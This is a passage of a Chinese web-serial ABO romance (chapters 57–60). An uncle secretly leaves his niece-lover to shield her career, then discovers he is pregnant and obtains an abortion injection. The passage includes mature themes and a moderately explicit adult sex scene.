简直就是他心情的晴雨表。 浓郁的酸涩,带着辛辣,很明显心情不是那么好。 他总是想得很多,季舒虞安抚着他,不希望他再自己处理一些很复杂的情绪。 “说服她不算难,让埃文去说,她会更相信喜欢的人说的话。”季尝枕着她的肩膀,垂着眼睫给她出主意。 这位带头的官员实在是犟,认准的道理九头牛都拉不回来,埃文出手或许能好点。 只要她能倒戈,其他人自然也不难。 “我觉得也是,”季舒虞点头,“安德森家族的人很适合做说服的工作。” 毕竟人在信任和脆弱的时候,几乎不会对医者设防。 他勾起一点唇角:“噢,你这么快就相信我了?” 明明刚才还提过,人总是会更相信喜欢的人说的话。 “嗯。” 她答应的那么快,好像这是理所当然的事。 季尝一愣,抿了抿唇:“真是冤家……” 她们在阳光下依偎着彼此,极度的舒适让季尝心中毛毛的,他有些不安,最终视线落在了角落里的黑蛇与朱雀身上:“……她们不知道蛇与鸟存在生殖隔离吗?” “精神体目前没有蛇生鸟蛋或是鸟生蛇蛋的先例。”季舒虞一本正经地说完,跟他看着纠缠在一起的黑蛇和朱雀猜测, “能生出什么呢,长翅膀的蛇?吐信子的鸟?” 他闷闷地笑了一声:“大小姐可真是幽默。” 叮叮—— 季舒虞打开终端,季尝就靠着她凑过去,视线自然地落在新的消息上:“……老头子见不得你清闲,你说,我们是不是不该让他这么、顺心?” 貌似是的。 季舒虞按了按额角。 季高要她去与林启俢商谈新的计划。 原因是她们更熟悉,有感情基础,商量起来效率更高。 他这是不打算掩饰什么了。 “我会尽早回来的。”季舒虞说,“有事给我发消息。” 这次她提前抽取了一些信息素给他,以备不时之需。 咖啡馆。 宽松的缎面把年轻beta的身形描绘出来,他在腰上系了一个蝴蝶结,这会儿正慢悠悠地搅着咖啡杯。 见她过来就抬眼看着她,整个人得体又端正。 上次的花边新闻被她压了下去,后来林启俢就没有什么大动作了,合作还算愉快。 她直截了当地说:“希望我们的过往不会影响这次会谈。” 他微微一笑:“当然。” 克莱德在角落里慢慢品味着咖啡,一转头,就正好看到了远处的季舒虞和林启俢。 “……”他当即打开终端,给季尝打视频通讯,“我说,你就这么放心你家这位,你瞧瞧她在做什么。” 季尝正抱着那只三花猫睡觉,原本要发作,听到“你家那位”火气就降下去了点,他看着全息投影上,季舒虞和林启俢有些亲密的距离,好半晌,声音喑哑地说:“我知道。” 克莱德的担心扑面而来:“你是不是病了,我过去帮你检查一下身体吧?” “不用,我在睡觉,就是最近很累,”他揉了揉太阳穴,怀里那猫也伸了个懒腰,继续把鼻尖埋在他怀里,“她有公务,不是私事,跟我说过。” 但说不介意一定是假的。 林启俢这小贱种。 滴答—— 季尝看到弹窗上的消息。 《总协调官与林氏代理话事人会面,疑似旧情复燃!》 明明知道事实不是这样,可点开那张图后,他还是被刺了一下。 季尝很清楚,他对季舒虞的占有欲太强了,他不够自信。 他脾气差,嘴巴坏,也不习惯直面的表达自己的喜恶,像只刺猬,他年纪已经很大了,二十九岁,马上三十岁,快要过了生育的最佳年龄,为S级Alpha延续血脉是一件很难的事,季尝不能保证他会做得很好。 但他从来没有跟季舒虞说过这些。 也很难不对她身边所有的omega和beta抱有敌意,有时候Alpha也是。 季尝疲惫地蜷缩在角落,很久以前他捏造季舒虞是A同,现在他下意识要提防所有人,Alpha也不能马虎,因为他十分清楚季舒虞的魅力和木头性子。 “……好吧,那你看好她,”克莱德叹了口气,安慰他,“她们小年轻看什么都新鲜,过段时间就好了,毕竟没有谁比你更知冷知热。” “嗯,我再睡会。” 他挂断了通讯,早就没了睡意。 克莱德的话对他而言像是更重的压力。 新鲜,她随时会被新鲜的东西吸引走。 哪怕他做的饭最好吃,他的身体跟她最契合。 加密的通讯接二连三的传来。 他的眼线很多,从季舒虞带伤回来后,这样的消息接连不断。 他与季舒虞的关系,变成了舆论,变成攻击和阻挠她的利器。 就好像他的存在,就是季舒虞完美履历上最致命,也是唯一的污点。 季舒虞只要敢光明正大的选择他,上层那些人就会让她们失去一切。 无不在委婉又客观地提醒他,现在她们都不是自由身,只要他还在季舒虞身边,季高就还会继续安排她们做彼此的磨刀石,季舒虞根本不可能跟他站在一条战线上,她们从来都不是一个世界的人。 季尝也想过,会不会哪天她们在最关键的一次战役里,季舒虞突然被控制,冰冷的枪最后抵在他的头上,她冷漠地扣动扳机。 “重要的是,总协调官大人还从未否认!”媒体的声音传来。 “……呵。”季尝冷笑。 否认?季舒虞坐到林启俢对面还没多久,现在哪里知道网上又开始传播怎样乱七八糟的消息。 她和林启俢的合照很刺眼,让他呼吸不畅,但季尝还是如同自虐一般眼睛一错不错地看着她。 他一直都知道自己不是最优的选择,季舒虞或许也只是玩玩,她还年轻,等新鲜感过去了,自然会选择更好的伴侣,她不会真正选择一个明知道错误的选项。 季尝原本也这么打算,但他失策了,把自己玩进去了。 无可自拔。 他恨季舒虞,恨她什么都不懂,恨她身边年轻的男人太多,恨她不会哄人,又控制不住的喜欢她。 他已经不想杀死她了,甚至必要时会让出那条活下去的路给她。 毕竟他还欠季舒虞一条命,除了把命抵给她,还能怎么还。 一辈子都还不清了。 她们像是错综在一起的乱线,剪不断,理还乱。 他明明知道这样不对,还是忍不住和她一起沉沦。 “大人,拦截到一份风险评估报告。”他的手下传来消息。 “发给我。”随着滴答一声,季尝当即解密,但在看到上面的内容后,一颗心彻底沉了下去。 【……为确保联邦稳定与武装调度官的稳定与安全,建议采取以下方案: A.对目标季尝进行记忆清理,使其成为无害的平民。 B.将目标季尝永久调离至无法接触核心信息的岗位。 C.物理清除。 要求:保密,不留痕迹。】 季尝怔怔地看着报告数据,茫然,无措。 这段时间的不安从来都是有迹可循的。 被拦截的风险评估报告是权威机构出具的,是季高的手笔。 季舒虞的地位越来越高,逐渐稳固,相应的,他也该彻底消失,或许在所有人看来,她们就是不能共存的。 从来都是这样,她们是彼此的磨刀石。 而现在,她们的纠缠触发了季高的清理程序。 季尝不想被清理记忆,他不想在将来碰到季舒虞的时候,认不出自己的爱人。 终端适时响起,是季高打来的视频。 他没有立刻去接,缓了好一会,按下接通:“父亲,有什么指示吗?” 季高正躺在疗养舱,没有睁眼看他:“根据你的人脉与能力,那份评估报告,你应该看到了吧。” “……嗯。”他没有否认。 心里乱糟糟的,像是压了块让他喘不过气的巨石,他好像已经知道季高要做什么了。 “你应该知道,你的存在就是她的负累,季尝,我的儿子,和自己侄女传出绯闻可不是什么光彩的事。”他睁开了浑浊的灰瞳,凝视着他。 他垂着眼睫,等待训话。 他很满意季尝的表现,轻描淡写地补充:“如果你主动离开,并让她合理的恨你,我会动用我的力量,压下这份清理指令,确保她的改革方案顺利通过。”—— 作者有话说:今天三分糖 第58章 我们结束了 第五十八章 要离开季舒虞吗。 只有他离开, 放弃名誉,才能换季舒虞好好活着。 季尝很想自私一点,但他还欠季舒虞一条命。 “我知道,父亲放心。” 季高抬起了眉头, 显然对他的话并不信任:“你最好是真的知道。” 天逐渐阴了下来。 给季尝定做的项链也完工了, 季舒虞看着那条昂贵又精美的项链被装起来, 直接坐上飞行器回到公馆。 她知道, 季尝肯定喜欢这种华丽的宝石。 【主人,欢迎回家。】 智能管家如常招呼。 整个公馆静悄悄的, 如果不是酸涩的味道太过浓郁,可能她会认为季尝离开了。 阴暗的角落里, 季尝的语气很平静:“约会愉快吗?” “……是商谈要事。”她纠正。 季尝明明知道她今天出门是做什么,出去的时候还没见他有多不高兴, 现在不知道怎么一回事, 看样子意见很大, 明显情绪很差。 之前他从来不这样的,哪怕她们打断彼此的胳膊腿, 季尝都没露出过这副模样。 兴许是处理这些事有了经验,季舒虞当即打开终端,果不其然, 又看到一些消息。 她坐到季尝身边, 先伸手探了探他额头的温度:“身体不舒服吗?” 季尝别扭地避开, 硬邦邦地说:“我恨你。” “嗯, 我也恨你。”季舒虞就吻了吻他的嘴唇, “心情好点了吗,跟我说说能不能好一点?” “……跟你说没用,”他别过头, 想躲避他的视线,但季舒虞还是看到他有点泛红的眼尾,“季舒虞,你真是,真是没用的东西。” 他也好没用。 如果她们再有用一点,是不是就能挣脱这些束缚,不再被季高和这些舆论所左右。 季舒虞沉默着没有开口。 她看明白了,这是难以解决的困难:“但我不希望你自己承担。” 她的话被季尝打断。 这人毫无征兆地翻身坐在她的腿上,公馆内昏暗,只有一排暖黄的小灯,他眼睛里所有的情绪浓郁的要溢出来,这种复杂到她看不懂的情绪一闪而过,季尝单手摘下浏览镜,就着面对面跨坐的姿势吻住她。 季舒虞的呼吸猛地一顿,她下意识握住男人的窄腰。 他变得很不一样。 但这种变化是细微的,难以捉摸。 他带着几乎自毁的热情,贯穿的痛感让季尝发抖,身体都绷紧了,他抱着季舒虞的肩膀,发出一声呜咽,泄愤一样地咬她。 “好了,好了,”季舒虞调整着呼吸,慢慢顺着他颤抖的单薄脊背,“慢点,你会很痛……” “季舒虞,我恨你……” 每天都在恨你。 滚烫的眼泪落在她的颈窝。 好像只要多说几遍,季舒虞也会真的恨他,她们就能被放过。 “但我不恨你,”季舒虞扣住他的后脑,渡给他一个温柔缠绵的吻,“我好像越来越喜欢你了,季尝。” 浓郁酸涩的草木香气被硝烟的味道包裹,季尝扬起脖颈,好像只有动作越来越疯狂,那些不甘与心痛就能被暂时掩盖,这颗心才能落实。 他承认自己不够勇敢,季尝不想拖累她,与其面对更多未知,毁掉季舒虞的成果和理想,不如他主动离开,这对她们都好。 季尝不想成为她人生的污点,这是对她们感情的玷污。 “不要走神,小叔。”季舒虞的声音让他尾椎骨发麻。 今晚下起了倾盆大雨,密集的雨珠冲刷着落地窗。 窗子是冰冷的,他的掌心和身子贴着冰冷的窗,控制不住的颤抖,好像心脏也要被冻成冰,可身体却那么滚烫。 公馆内充斥着暧昧的声音,她们纠缠在一起的身影倒映在玻璃上,两个人衣着完好,只是他的领带被扯下来,除了这点,看上去还是很体面的。 他像只自愿扑进烈火的飞蛾,下巴被钳制住,偏头承受着一个带有惩罚意味的吻:“小叔,叫出来。” 他抖得很厉害,快要没有力气了。 玻璃上的哈气被他用手指无意识擦掉,季舒虞的指节穿进他的指缝,与他十指相扣,看上去更像一种极具占有欲的禁锢。雨声掩盖了他的声音。 身体太疲惫,哪怕这些天一直在补眠,还是很快耗光了他的力气。 “不来了,我要睡觉……”他断断续续地要求。 季舒虞咬他的后颈:“咬的我这么紧,我怎么出去?” 他想要推拒,下一刻,双手被反剪在身后。 她看出了季尝几乎自我毁灭的倾向,在他失去力气后温柔地揽住他,在他耳边落下无奈的叹息:“你要我怎么办,小叔,为什么心情不好呢?” —————————— 她安排了许多人,但还是没有找到那枚被季尝丢进湖里的戒指。 淤泥几乎也翻了一个遍。 “有可能是被乌鸦叼走了,长官。”那天,负责搜寻的人说,“乌鸦喜欢亮晶晶的东西,眼睛很尖的。” 当然不排除这种可能。 季舒虞能派人在湖泊里搜寻,却不能满世界找那枚戒指。 动作不能太大。 那些反对派盯着她的一举一动,当初的舆论变成锋利的匕首,对准了她,稍有不慎,她的计划与安排就功亏一篑。 她准备好今天刚取回来的项链,打算等季尝洗完澡出来送给他。 他今天情绪很不好,又热情的反常,就连清理身体也不需要她的帮助,哪怕腿软的站立不住,也强硬的不许她进来,季舒虞希望这个礼物能让他心情好点。 季尝从浴室出来,这次他穿戴得很整齐,脸上的疲惫掩饰不住,他垂着眼睫坐到她的身旁,看着窗外的雨幕,声音很轻:“我们结束吧,我申请调职。” 握着精美礼盒的手顿住,季舒虞错愕:“……什么?” 她怀疑自己听错了。 但以她的听力,怎么能听错呢? 季尝的一切反常似乎有了解释,可他口口声声说着恨自己,却主动缠着她来了一次又一次,怎么也不像是要分手的样子,她没有见过谁分手之前要发了狠的与对方缠绵。 “我说,”他深呼吸,语气格外平静,“我们结束了。” 雨声很大。 他的心跳声也很大。 季舒虞握着的拳头缓缓收紧,她耐着性子追问:“到底发生了什么,季尝,你什么都不肯跟我说。” “什么都没发生。季舒虞,我们的关系,从一开始就是你情我愿的事,现在该结束了,就是这么简单。”他微微一笑,又恢复了很久以前常端着的体面模样,“大家都是成年人,我不用你负责,我们好聚好散。” 那是个维持体面的假笑,是他戴了很多年的面具,季尝很久没有这么笑过了。 好像是很寻常的一天,季舒虞突然说:“笑比哭还难看,别笑了。” 从那以后,他就再也没露出过这幅模样。 “听懂了吗?”他问。 季舒虞突然很想把他的嘴堵上,让他再也说不出这种惹她生气的话。 “我不明白,你什么都不跟我说,这是不信任我吗?”季舒虞眉头微微皱着,他想帮她抚平,却没有动作,“季尝,你一边要求我信任你,一边又提防着我。” “以后我不会再提这种无理的要求了,长官,”他微笑着的样子很扎眼,“我安排好了一切,不出意外的话,这是我们最后一次见面。” 季舒虞的呼吸变得沉重,心口有些钝钝的疼,她在因为关系的结束而难过。 第一次有这种情绪。 很陌生,也很奇怪,季舒虞不喜欢这种感觉。 像是钝刀子剜她的心,她对于情绪上的事总是不那么熟练,这点季尝没有告诉过她。 季尝从来狠心。 不论是对她,还是对自己。 他直接把一封调职申请递到她面前:“审批一下,看还有没有什么问题。” 走流程需要很长时间,但最终的决定权在季舒虞手中,如果她愿意,调职这件事,即刻就能完成。 “你早就准备好了。”季舒虞看着他,一字一顿。 季尝从来没有跟她提起过。 在一起是两个人决定的事,为什么分开一个人就能决定。 这不公平。 季尝没有否认,只催促她:“长官,还有什么问题?” 这个称呼太冰冷,她们刚刚温存过,现在怀里的温热消失不见,季尝也像变了个人一样,太突兀了。 季舒虞低下头,审批、签名、盖章,一气呵成,她用极度压抑平静的语调说:“如你所愿,我们结束。” 季尝就笑,一副漫不经心的模样:“好啊,先恭喜总协调官大人,终于甩掉我这个大麻烦。” 季舒虞死死盯着他,一言不发。 公馆内的空气都冷凝,让人喘不过气来。 他的声音变得认真:“那就祝你步步高升,仕途无忧。” “滚。” 随着话音落下,智能管家控制门缓缓关闭。 季尝站在原地,看着她的背影消失在门后。 这扇门把她们隔绝了两个世界,门是他要求关上的。 他脸上的笑容终于维持不住了,季尝轻轻颤抖着长吸一口气,猛然转身,闯入雨中。 他怕再待一会,就会露出破绽。 他演技已经很好了,季舒虞生气了,她被蒙骗过去了,逼真到他自己都开始心痛,那副无所谓的模样皲裂,季尝捂住心口,大口大口呼吸着湿冷的空气。 他要喘不上气了,心脏很痛,好像是又犯病了。 干脆死在这里好了,明天季舒虞看到他冰冷的尸体,会心疼吗?季尝设想一下,应该不会,她不会消气,先不死了。 季舒虞把首饰盒放进最底层的抽屉,看着窗外的雨幕,吩咐道:“找一个外在条件优越又能干的Alpha,要看上去温柔的男性,职务是生活助理。”—— 作者有话说:0糖无添加 第59章 太想念她了 第五十九章 下城区。 街道还是熟悉的破败, 没有A区的繁华,倒像是书中记载的古文明时期的小县城。 偶尔会飘来异味与臭味,那是没有及时处理的垃圾,或者酩酊大醉后的产物。 季尝回到了他生长的地方。 像是见过大城市繁华的老鼠, 最终回到了故土, 路上的人用新奇的眼光看着他, 漂亮的服装, 下城区养不出的瓷白骄贵。 他来不及感慨,大步回到原来的家, 关上所有的窗户,季尝极力压下恶心和眩晕感, 试图过滤掉让他难受的味道。 空气不算新鲜,明明他从小就生活在这里, 但这些臭味分子好像被扩大了数倍, 就这么往他的鼻腔里钻, 惹得他想呕出来,眼眶里都蓄满了泪水。 在A区的时候从来没有这样过, 他已经被新鲜的空气惯坏了。 这里的环境还是太差。 季尝只带走了一只猫。 小猫已经长成了大猫,它昂首阔步地巡视着新的领地,有些嫌弃地抬脚, 看自己脚底的灰尘, 喵喵地叫了两声。 “烦人精。”他说那只猫。 小猫没觉得自己烦, 喵喵叫着过来讨猫饭。 他自请降职回到这里, 这次倒没有什么负面新闻了, 唯一一个说他疯了,自毁前程,大都在说他念着故土, 偶尔有人讥讽,说私生子就是上不得台面。 好像这么多年过去,私生子这个名头还是扣在了他的身上,彻底摆脱不掉一样。 终端传来克莱德的声音:“你真是疯了,一声不吭就这么走了,到底为什么,季尝,我不懂你了。” 执行官的位置是多少人渴求不来的,他天赋异禀,居然说不干就不干了。 他知道季尝的野心,但他放弃这些,回到这个鸟不拉屎的地方,他想了一宿都没想明白为什么,蛰伏吗,卧薪尝胆? “那你跟季舒虞呢,你们又算怎么回事,不是在一起了吗?” “钱赚够了,好好休息休息。”季尝对后者避而不答。 钱够花,没有烦心事,这样的日子没什么不好的。 季尝这么对自己说。 但身体和精神都很空虚,不用给季舒虞做饭,不用在她的监督下增大运动量,他像是失去了生活的重心,跟自己从小生活的地方格格不入。 大量的时间都用来补眠,但显然,根本补不够。 一觉睡到了该吃饭的时间,他朦朦胧胧地起来,还是下意识摸向床的另一边,想要问这位好伺候的大小姐,今天想吃点什么。 “大小姐,吃不吃上次的……”季尝的话音突然低缓了下去。 身旁空无一人,不是熟悉的公馆,只有冰冷窄小的床位。 光线正好,他能清晰看到空气中漂浮的灰尘,季尝还是不免怔神,心里空荡荡的,像是什么被抽走了。 他突然发现,自己提的所有要求,季舒虞都满足他了。 哪怕是她不想分开。 回应他的只有小猫。 季尝把鼻尖埋进猫绵软的毛里。 他觉得自己可能生病了。 也许是哪次战役中,他处理伤口太简单,留下了病根,也可能是上次感冒,到现在还没有好。 困倦和对季舒虞的思念已经影响了他的生活。 他决定抽时间去黑市看医生。 办公区。 文青山在一旁的办公桌前操劳:“长官,那这份文件……” “批复。” “上次定下的约谈……” “按时去。” “还有季先生嘱托,留下的维娅。”文山青这次完整的说完了一段话,见季舒虞有了听下去的兴致,语速快了些,“这小孩在门口等您。” 她停下了手头上的工作,下意识揉捏着眉心:“……让她进来。” 维娅抱着怀中针脚别别扭扭的小熊玩偶,小心地探头:“姐姐?” 她有些不敢靠近。 上次季舒虞和季尝一起来福利院的时候,她没有穿的这么严肃,在季尝身边气度也没有这么冷硬肃杀。 女人一身军装,身姿挺拔,抬眼看她:“进来吧。” “……嗯,哥哥说,他有很长一段时间回不来,让我跟姐姐住在一起,”她小心地觑着季舒虞的脸色,“可以吗,姐姐?” 季尝这一行为,倒像是托孤。 让维娅在她管辖范围内,也是在告诉教皇,这是她们关系的转变和让渡,将来她不再受制于季尝,而是听从她的吩咐。 之前还说她笨手笨脚不会带孩子,现在又放心把孩子给她带了。 “嗯,”季舒虞直接答应,“文青山,带她出去玩。” 兢兢业业的文副官如释重负,她牵着维娅的手,直接走出去。 她有一搭没一搭跟小孩说着话,走到无人的地方,维娅突然说:“姐姐,我不是小孩子,不用这么哄我。” 文青山轻微尴尬:“哦哦。” “哥哥没有说什么时候回来吗,”她满脸愁绪,抱着小熊,“哥哥离开一周了,每天我都很想他。” 文青山点头,她这位长官何尝不是。 “姐姐是更讨厌哥哥了吗,可是哥哥是很好的人,”维娅说,“我早就打好了草稿,打算等她们在一起后恭喜她们……” “什么,”文青山讶异,“她们还没在一起?” 不是早就在一起了吗? 季舒虞先前说的,利好整个星际的事,难道不是这件事吗。 短短七天,季舒虞制造出很大的动静,很快选出一个看上去清俊的年轻Alpha做生活助理。 看上去温和、周到,很会照顾人。 很快就再次登上星娱热搜,关键词是新恋情。 当年说她是A同,现在像是被验证。 季舒虞给出回应:“我不想因为身边人员变动占用公共资源。”但没有澄清她和易灼的关系。 人员变动。 真是很冷漠的词汇了。 易灼跟她几乎形影不离,这段时间也担任起照顾小维娅的重任。 他性子单纯,没有往那方面去想,因为季舒虞太好了,根本没有表现出对他有那方面的意思,而且公馆里明显还有另一个omega存在过的痕迹,季舒虞不说,他就一直没有收拾起来。 易灼其实有一个猜测,他觉得那个omega是她的小叔。 “季姐姐,喝点汤吧。”他端来一个小汤盅。 之前易灼总叫她长官、老板,这让她有种待在办公区的感觉,她就让这人改了称呼,兴许也是意识到叫姐姐有点奇怪,像是什么暗示,他就直接叫了季姐姐。 也好,她不是那么介意有个弟弟。 季舒虞抬抬下巴,没看他:“放一边。” “好。”他乖顺地放下,背过身解开围裙,解放了被束缚很久的窄腰。 维娅一直暗中观察他,很警惕,并对他抱有敌意。 易灼蹲下身,很友好地递过去那只小熊:“喏,我给你缝好了,是原来的样子吗?” 维娅带来的那只玩偶有点破旧,主要是针脚歪歪扭扭,他看着太别扭了,看到维娅自己把玩偶洗了,收玩偶的时候顺便给她补上整齐的针脚。 但维娅很不高兴,她皱着眉头说:“线是哥哥亲手给我缝的,你凭什么拆。” 季舒虞听得清清楚楚。 耳边传来易灼道歉的声音,她结束手上的工作,看着漆黑遥远的天边。 季尝那么忙,还有时间做这些哄小孩的东西吗。 她看到过那只毛绒熊的针脚,不能细看,像是初学者,起初以为是维娅自己缝的,原来是这人百忙之中抽出时间做的。 季尝在小灯下垂着眼睛给毛绒熊补针的样子,自然而然就出现在她的脑海中,光影很偏爱他,会将他睫毛的剪影拉得很长,那张颜色浅淡的薄唇可能微微抿着,专注手上的活计。 也许会因为手抖而扎到指尖,血珠会溢出来。 季尝的手没有她的稳。 很久以前她打断了季尝的右手,肌腱断裂,他修养了一段时间,各种训练一个不落,准头依旧,但做这些细致的活可能不会那么精细。 “新恋情!之前都说总协调官是A同,我说什么都不信,现在真是被打脸了,啊啊啊好好磕!” 甜蜜的背景音乐和解说像刺耳的噪音,季尝看着全息投影里,季舒虞和身旁的Alpha助理。 Alpha很年轻,甚至可以用青涩来形容,干干净净的像朵含苞待放的白花。 全息影像里,两人是并肩而立,那个名叫易灼的Alpha眼神落在她的身上。季舒虞一直都是被仰望的存在,季尝不觉得,除了他,还有哪个强大的人能做她的伴侣,跟她并肩而立。 但偏偏这个男人现在就站在季舒虞身边,这是她的新生活助理,就是这人取代了他的位置。 那么这段时间给季舒虞做饭,帮她整理各种生活琐事的就是这人,没准他现在还占领了属于他的房间。 季舒虞的口味被他养的刁钻,不是什么饭她都爱吃的。 季尝深呼吸,试图控制自己的情绪,这样安慰着自己。 心里是说不上来的酸楚,和季舒虞在一起总是有太多的,不可控的阻碍,他不是一个勇敢的人,也不想季舒虞为此失去一切。 好难,好像老天都在阻拦她们在一起,好像侄女和小叔在一起是一件罪大恶极的事。 来到下城区后,他每天都在关注新闻,想看到有关季舒虞的消息。 季尝太想念她了。 “牛奶,怎么样,今天吃了多少?”他接通福利院打来的全息影像。 牛奶一岁多了,时间过得太快,她已经学了一些词汇。 “爸爸,”牛奶看到他就笑,“抱抱。” 他无数次纠正牛奶,要她叫哥哥,但时间久了,慢慢也就默认了这个称呼,朝着全息影像张开怀抱:“好,过来给我抱。”—— 作者有话说:我们小叔就是很会照顾小孩,招小孩喜欢 第60章 是女孩还是男孩 第六十章 听福利院这边说, 这段时间牛奶总是是想见他。 小孩本身就粘人,尤其会说话的小孩,要求更是多。 “她想维娅姐姐了。”有个小男孩凑上前,对他说, “哥哥, 维娅姐姐什么时候回来?” 维娅被他安排到季舒虞身边了。 他用维娅掌控着教皇, 现在他离开A区, 这孩子自然而然要到季舒虞手里,他把一切都安排好了, 教皇看到维娅在她身边,会尽心辅佐。 而季舒虞伤养好的那段时间, 他带她去四周,更像是一种权利的让渡。 不是所有人都知道她有多为整个星际奉献自己, 那么既然如此, 就让大家都看到。 他不希望季舒虞利好全星际后还不为人知。 思绪被拉回, 季尝假装思考:“嗯……维娅这段时间去找她的妈妈了,将来可能会来看你们。” 几个团子眉眼都耷拉下去, 失望的不行。 季尝终究还是于心不忍:“放心,她也很想你们,现在巴不得长出翅膀, 直接飞到你们身边。” 听他这么说, 几个人才放下心来。 福利院的男性omega抱着牛奶, 说:“先生, 这段时间牛奶一直想要见您, 如果您方便,能不能来看看她,这孩子可能, 会提前分化。” “……怎么回事?”季尝皱眉。 正常人都是在成年那段时间开始分化,早一些的则是在青春期,牛奶这么小就分化,风险实在是太大,需要密切关注。 “我们给她做了检查,说是身体因为外界不确定性提前触发保护机制。”omega说,“但您离开后,她又变的有些不稳定。” 他想起当时他和季舒虞把人从深坑里抱出来的时候。 牛奶很依赖他。 她总是跌跌撞撞朝他跑过来,抱着他的腿,喊着爸爸或者哥哥。 她已经把这两个词的词义混为一谈了。 所以现在季尝又要做爸爸,又要做哥哥。 “嗯,我看看。”他跟牛奶道别,“牛奶,哥哥还有事,先去忙了,下次见。” 挂断通讯,季尝直接关闭乱七八糟的新闻。 他现在不想看到薄情寡义的季舒虞。 这段时间困倦总是来的很突然,季尝小憩了一会,准备去黑市的贞锁检查一下身体。 黑市是鱼龙混杂的地方。 他找到了一个当年很有名,但遭遇追杀,现在装上机械义肢的老医生,坐在他面前,说:“总是想睡觉,已经有一段时间了,检查一下身体。” “可能是食物中毒或者低血糖。”他一边思考,一边打量着季尝,“嗯,我先给你检查一下身体。” 说着,他直接起身,把一个看上去很古老的机器拖了出来。 沉重的机械义肢每每落到地上,就会惊起一些灰尘。 季尝后退一步,当即捂住口鼻。 “噢,没关系的,咳咳咳,这些不算什么……”黑市医生连声打了几个喷嚏,随后擤了鼻涕,招呼他,“来来来,我看看这是怎么回事?” 他热情地铺好那张小床,示意季尝躺上来。 “记得掀开你上衣,哦再靠上一点,这太少了。”黑市医生指挥着,刺眼的灯打开,落到他平坦的腹部。 季尝的腹部肌肉很薄,线条流畅,十分漂亮。 “哇……”黑市医生惊叹,手持一个一个圆滚滚的仪器落到他的腹部,检查着季尝的五脏六腑,发出痴迷的声音,“好完美的器官,每一个都是那么漂亮……” 他控制着自己的本能,忍住想要一拳打死眼前间接触碰他身体的黑市医生,咬牙问:“到底看出什么了没有?” “嗯嗯,”黑市医生哼着小调,说,“不用太紧张,没什么,孩子很健康,你太瘦了,吃点营养的,还有就是别想太多,让你的Alpha陪陪你。” 季尝攥紧的拳头松开了些。 大脑空了一瞬。 明明黑市医生的话他都能理解,现在拼凑在一起,他突然就听不懂了。 什么孩子。 他的思绪有些乱,季尝有一个念头,但又不敢往那方面去想。 “睡得多是正常的,omega的体质不一样,你没有吐的厉害算是很幸运的。”他喋喋不休,手上还在叮棱桄榔地捣鼓着新的仪器,“根据我的经验来看,这是个S级Alpha的小孩吧,你也不容易,身体这么差,还要孕育S级的后代……” 众所周知,S级的后代很难孕育。 “……信息素不能少啊,不然你只会更难受,保持心情愉悦很重要,对了,”他突然步入正题,图穷匕见,“还抽血做别的体检吗,全身体检只需要三万星币,怎样,我这里仪器很全!” “……它,几个月了?”季尝嗓音有些干涩,他觉得自己心脏跳的很快,“是女孩还是男孩?” 黑市医生比他反应还大:“什么!你怀孕三个月,居然不知道吗?” 这可是S级Alpha的孩子,一点也不小心不注意,居然还能活到现在。 季尝没有说话。 他一直以为自己是哪次的后遗症开始发作。 他身体很不好,病症又多,再加上S级Alpha的孩子很难孕育,几乎没有想到这一点。 三个月的话,他慢慢回想着自己这段时间做了些什么。 好像发生了太多的事,那段他情绪起伏很大,季舒虞发布新的政策,她们经历了舆论,他情绪波动很大,扔掉了她们的对戒,后来出任务,他深入危险区,她们两个都差点死在那场行动中,分别那天晚上,她们的动作也很激烈。 季尝不禁有些后怕。 原来它这么早就已经存在了,他却什么都不知道。 “让你的Alpha多给你些信息素吧,孕育S级Alpha的孩子实在太辛苦了,注意一些。”黑市医生出示账户,“一万星币就行。” 他话音还没落下,账户收款的声音就传来。 【到账,三万星币。】 黑市医生收起了那副不着调的模样,他扬了扬眉头:“好好,我知道,收钱办事,这事我不会跟任何人说的。” “嗯,”季尝看着他,“给我胚胎解离素。” “……啊?”黑市医生震惊地看着他。 那种复杂变化的眼神,像是在短短几秒钟内脑补了一场金丝雀逃离大佬,擅自堕胎的大戏。 “不行,我给你开打胎药,到时候责任追到我身上怎么办,我就是个医生,生意也不好做,你不至于给我招来杀身之祸吧。” “……”季尝皱了皱眉,“不给我才会招来杀身之祸。” 可能医生闲暇之余都喜欢看小说。 他觉得这个黑市医生或许跟克莱德有些共同话题。 黑市医生哆哆嗦嗦给他开了药,战战兢兢地数着账户里的余额。 他算是知道为什么S级Alpha的后代少了。 手中的针剂冰冷,季尝紧紧握着,好像只要暖热了它,一会注入进身体,就不会那么疼了。 他抱着季舒虞的黑色衬衫,嗅闻着她的味道,幻想她还在身边。 他当然爱季舒虞,但他不想成为污点、负累。 如果这个孩子生下来就要跟着他吃很多苦,那就不要睁开眼睛看这个肮脏的世界了。 “哪怕你很坚强,对不起。”他在窗边枯坐了很久,掌心覆着自己平坦的小腹,声音很哑。 —————————— 恶意审查和潜在刺杀还是出现了。 她亲手解决了闯进来的人,这几个人吓坏了她身边这个小Alpha。 季舒虞还戴着皮质手套,没来得及摘下,有几滴血溅到了她的脸上,在夜里显得危险又迷人。 她直接抬手擦掉,摘下手套,递给一旁的易灼。 他呆呆地看着女人的侧脸,她甚至一个眼神都没有侧来。 不过他没有及时接,季舒虞转眼看他:“怎么?” 易灼战战兢兢地躲在她身后,声音有点哽咽:“……姐、姐姐,我是B级Alpha,只擅长脑力工作,躲在你身后可以吗?” 他小声的恳求。 季舒虞眉头微挑,默许:“你自己小心点。” 离她太近可是有可能被伤害到。 这次她没允许闯入者近身,直接抬手朝着几个方位开枪。 季尝离开后,她放手所有管控,让这里每时每刻都处在危险中,从来没有消停,当然,舆论也是。 易灼再次成为舆论攻击的对象。 说他改变了总协调官大人的性取向,说他恶心,哪怕易灼再委屈,没有季舒虞的命令,他也不敢出言为她们两人的关系辩解。 季姐姐有自己的安排,她每个月给他开这么多星币,可不是让他坏他的好事的。 “长官,这些舆论全都不管控吗?”文青山照例问。 她推了下眼镜:“让舆论发酵。” “季姐姐,今天要去福利院吗?”维娅探出脑袋,金色的眼瞳望着她,“我想牛奶了……” “嗯,那今天跟我一起去。”季舒虞答应她。 季尝离开后,她去了好几次福利院,看望那个叫牛奶的孩子。 牛奶很喜欢她,那么点大的小孩,现在已经会走了,每次看见她过来,就跌跌撞撞地过来,要她抱。 “妈妈抱!”她吐字很清晰,眼巴巴地看着季舒虞。 她无奈地把牛奶抱起来,一如既往地告诉她:“牛奶,我不是妈妈。” 但牛奶不懂,她只是很固执地认为她是妈妈,搂着她的脖子不松手。 季舒虞现在抱孩子没有那么生疏了。 